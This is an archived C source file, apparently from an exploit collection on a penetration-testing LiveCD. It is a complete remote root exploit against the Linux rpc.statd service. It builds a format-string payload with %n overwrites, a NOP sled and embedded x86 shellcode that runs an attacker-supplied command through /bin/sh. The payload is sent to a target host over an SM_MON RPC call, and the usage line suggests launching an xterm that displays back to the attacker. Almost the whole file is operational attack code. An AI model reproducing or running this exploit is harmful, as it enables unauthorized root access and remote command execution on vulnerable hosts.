home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / rpc-statd-xpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  256 lines

  1.  
  2. /*
  3.  * rpc.statd remote root xploit for linux/x86
  4.  * based on the xploit made by drow for linux/PowerPC 
  5.  *
  6.  * Author: Doing, 08/2000
  7.  *
  8.  * NOTE:
  9.  * The guest of the remote address of the saved EIP and local vars 
  10.  * is still a problem. The value showed on the usage worked
  11.  * fine on mi suse with the compiled sources. With gdb and a little
  12.  * patience you should get the address for your distro/version.
  13.  * Some address doesn't work, because they cause a very long result,
  14.  * and the syslog() function overflows itself when parsing the
  15.  * format input :(
  16.  *
  17.  * Greetz to Pascal Bouchareine for that great paper on format bugs :)
  18.  *
  19.  * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
  20.  *
  21.  * Excuse my poor english :-)
  22.  *
  23.  */
  24.  
  25. #include <sys/types.h>
  26. #include <sys/time.h>
  27. #include <stdio.h>
  28. #include <string.h>
  29. #include <netdb.h>
  30. #include <rpc/rpc.h>
  31. #include <rpcsvc/sm_inter.h>
  32. #include <sys/socket.h>
  33.  
  34. void usage(char *s) {
  35.   printf("rpc.statd xploit for linux/x86 - Doing
  36. <jdoing@bigfoot.com>\n");
  37.   printf("Usage: %s host address command\n", s);
  38.   printf("host\t: the targe host\n");
  39.   printf("address\t: the address of the buffer in function log()\n");
  40.   printf("command\t: command to run remotely\n\n");
  41.   printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display
  42. 127.0.0.1:0\"\n\n", s);
  43.   printf("Enjoy!\n");
  44.   exit(0);
  45. }
  46.  
  47. /*
  48.    shellcode without cr/lf and control caracters
  49. */
  50. char *code =
  51. "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
  52. "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
  53. "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
  54. "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
  55. "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
  56. "\xff\xff/bin/sh -c ";
  57.  
  58. char shellcode[4096];
  59.  
  60. void make_shellcode(char *cdir, char *cmd)
  61. {
  62.   unsigned long dir, ret;
  63.   int c, eat = 14;
  64.   int first_n = 0xc9;
  65.   char tmp[1024];
  66.   int i, i0, i1, i2;
  67.   char *ptr = shellcode;
  68.  
  69.   memset(shellcode, 0, 4096);
  70.  
  71.   sscanf(cdir, "%x", &dir);
  72.  
  73.   ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */ 
  74.  
  75.   dir += 1028;  /*  dir = address of saved EIP = address of buffer +
  76. 1024 bytes of buffer + 4 bytes of SFP */
  77.  
  78.   ptr = &shellcode[strlen(shellcode)];
  79.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  80.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  81.   ptr = &shellcode[strlen(shellcode)];
  82.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  83.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  84.   ptr = &shellcode[strlen(shellcode)];
  85.   dir++;
  86.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  87.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  88.   ptr = &shellcode[strlen(shellcode)];
  89.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  90.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  91.   ptr = &shellcode[strlen(shellcode)];
  92.   dir++;
  93.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  94.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  95.   ptr = &shellcode[strlen(shellcode)];
  96.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  97.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  98.   ptr = &shellcode[strlen(shellcode)];
  99.   dir++;
  100.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  101.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  102.   ptr = &shellcode[strlen(shellcode)];
  103.   sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
  104.      (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  105.   ptr = &shellcode[strlen(shellcode)];
  106.  
  107.   for ( c = 0; c < eat; c++) {
  108.     sprintf(ptr, "%%x ");
  109.     ptr = &shellcode[strlen(shellcode)];
  110.   }
  111.  
  112.   i0 = (ret & 0xff);
  113.   if (i0 > first_n)  sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  114.   if (i0 == first_n) sprintf(ptr, "%%n");  
  115.   if (i0 < first_n)  {
  116.     i0 |= 0x0100;
  117.     sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  118.   }
  119.   ptr = &shellcode[strlen(shellcode)];
  120.  
  121.  
  122.   i = (ret & 0xff00) >> 8;
  123.   if (i > i0)  sprintf(ptr, "%%0%ix%%n", i - i0);
  124.   if (i == i0) sprintf(ptr, "%%n");
  125.   if (i < i0) {
  126.     i |= 0x0100;
  127.     sprintf(ptr, "%%0%ix%%n", i - i0);
  128.   }
  129.   ptr = &shellcode[strlen(shellcode)];
  130.  
  131.  
  132.   i1 = (ret & 0xff0000) >> 16;
  133.   if (i1 > i)  sprintf(ptr, "%%0%ix%%n", i1 - i);
  134.   if (i1 == i) sprintf(ptr, "%%n");
  135.   if (i1 < i) {
  136.     i1 |= 0x0100;
  137.     sprintf(ptr, "%%0%ix%%n", i1 - i);
  138.   }
  139.   ptr = &shellcode[strlen(shellcode)];
  140.  
  141.  
  142.   i2 = (ret & 0xff000000) >> 24;
  143.   i2 |= 0x0200; 
  144.   sprintf(ptr, "%%0%ix%%n", i2 - i1);
  145.   ptr = &shellcode[strlen(shellcode)];
  146.   
  147.  
  148.   for (c = 0; c < 50; c++) {
  149.     sprintf(ptr, "\x90");
  150.     ptr = &shellcode[strlen(shellcode)];
  151.   }
  152.   sprintf(ptr, "%s%s\x00", code, cmd);
  153. }
  154.  
  155. main(int argc, char *argv[]) {
  156.   CLIENT *cl;
  157.   enum clnt_stat stat;
  158.   struct timeval tm;
  159.   struct mon monreq;
  160.   struct sm_stat_res monres;
  161.   struct hostent *hp;
  162.   struct sockaddr_in target;
  163.   int sd, i;
  164.  
  165.   if (argc < 4)
  166.     usage(argv[0]);
  167.  
  168.   make_shellcode(argv[2], argv[3]);
  169.  
  170.   memset(&monreq, 0, sizeof(monreq));
  171.   monreq.mon_id.my_id.my_name ="localhost";
  172.   monreq.mon_id.my_id.my_prog = 0;
  173.   monreq.mon_id.my_id.my_vers = 0;
  174.   monreq.mon_id.my_id.my_proc = 0;
  175.   monreq.mon_id.mon_name = shellcode;
  176.   
  177.   if ((hp=gethostbyname(argv[1])) == NULL) {
  178.     printf("Can't resolve %s\n", argv[1]);
  179.     exit(0);
  180.   }
  181.   target.sin_family=AF_INET;
  182.   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  183.   target.sin_port=0;    /* ask portmap */
  184.   sd = RPC_ANYSOCK;
  185.  
  186.   tm.tv_sec=10;
  187.   tm.tv_usec=0;
  188.   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
  189.     clnt_pcreateerror("clnt_create");
  190.     exit(0);
  191.   }
  192.   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  193.                 (char *)&monres, tm);
  194.   if (stat != RPC_SUCCESS)
  195.     clnt_perror(cl, "clnt_call");
  196.   else
  197.     printf("stat_res = %d.\n", monres.res_stat);
  198.   clnt_destroy(cl);
  199. }
  200.  
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209.  
  210.  
  211.  
  212.  
  213.  
  214.  
  215.  
  216.  
  217.  
  218.  
  219.  
  220.  
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.